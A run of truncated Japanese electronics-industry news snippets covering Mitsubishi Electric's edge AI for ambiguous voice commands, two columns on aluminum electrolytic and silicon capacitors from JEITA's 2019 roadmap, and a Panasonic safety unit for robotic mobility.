三菱電機は2020年1月28日、エッジで動作可能かつ、曖昧な命令でも不足情報を自動補完して理解するAI技術を開発したと発表した。同社のAI(人工知能)技術「Maisart(マイサート)」を活用したもの。家電や車載情報機器のHMI(Human Machine Interface)制御技術として、2022年以降の商用化を目指す。 「すみません、私には〇〇が理解できません」……をなくす技術 スマートフォンや家電などの一般的な音声アシスタントを利用する際、「〇〇(俳優名)よろしく」などと、述語や目的語を省いた曖昧なことばのままで命令を与えると、AIが理解できない場合が多い。今回、三菱電機が開発したのは、この課題を解決する技術だ。 そもそも従来のクラウド上のビッグデータを利用するAIの方式では、個人情報などを除いた「限定的なデータ」を用いることによって、「必要な情報を得られず、曖昧な命令を理解できな
車載と無線がアルミ電解コンデンサの耐熱性向上を要求:福田昭のデバイス通信(226) 2019年度版実装技術ロードマップ(36)(1/2 ページ) 今回は、大容量で低コストという特長を持つアルミ電解コンデンサを解説する。アルミ電解コンデンサの分類と、車載および無線分野におけるアルミ電解コンデンサの要件を紹介しよう。 アルミ箔の酸化膜を誘電体とする大容量コンデンサ 電子情報技術産業協会(JEITA)が発行した「2019年度版 実装技術ロードマップ」に関する完成報告会(2019年6月4日に東京で開催)と同ロードマップの概要をシリーズでご報告している。今回はその第36回である。 本シリーズの第31回から、第4章「電子部品」の概要を説明している。第4章「電子部品」は、「4.1 LCR部品」「4.2 EMC対策部品」「4.3 センサ」「4.4 コネクタ」「4.5 入出力デバイス」の5つの節に分かれる。
次世代コンデンサの主役を狙うシリコンキャパシタ:福田昭のデバイス通信(227) 2019年度版実装技術ロードマップ(37)(1/2 ページ) 高い耐熱性と優れた温度特性、高い容量密度が特長 電子情報技術産業協会(JEITA)が発行した「2019年度版 実装技術ロードマップ」に関する完成報告会(2019年6月4日に東京で開催)と同ロードマップの概要をシリーズでご報告している。今回はその第37回である。 本シリーズの第31回から、第4章「電子部品」の概要を説明してきた。第4章「電子部品」は、「4.1 LCR部品」、「4.2 EMC対策部品」、「4.3 センサ」、「4.4 コネクタ」、「4.5 入出力デバイス」の5つの節に分かれる。第33回からは「4.1 LCR部品」の第2項「4.1.2 コンデンサ」の概要をご紹介している。第33回は全体像、第34回は「積層セラミックコンデンサ(MLCC:Mul
パナソニックは、「2019国際ロボット展」(会期:2019年12月18~21日、東京ビッグサイト)に出展し、開発中のロボティックモビリティ向け安全制御ユニットをPRした。 IEC62061を取得 新ユニットは業界初となるロボティックモビリティの安全部にも使える製品で、搭載されたマイコンや2重センサーなどで、速度と衝突の監視および、故障検知の機能をロボティックモビリティに追加できる。 隊列走行や自律移動機能などを有したロボティックモビリティに、新ユニットを装着することで、空港などの大型施設において、安全に運用することが可能だという。 新ユニットは機能安全に関する国際規格であるIEC62061を2019年9月12日に取得している。IEC62061は、国際規格ISO13482の機能安全に関する要求事項の1つだ。IEC62061の認証は、日本品質保証機構が、パーソナルケアロボットに取り付けることを
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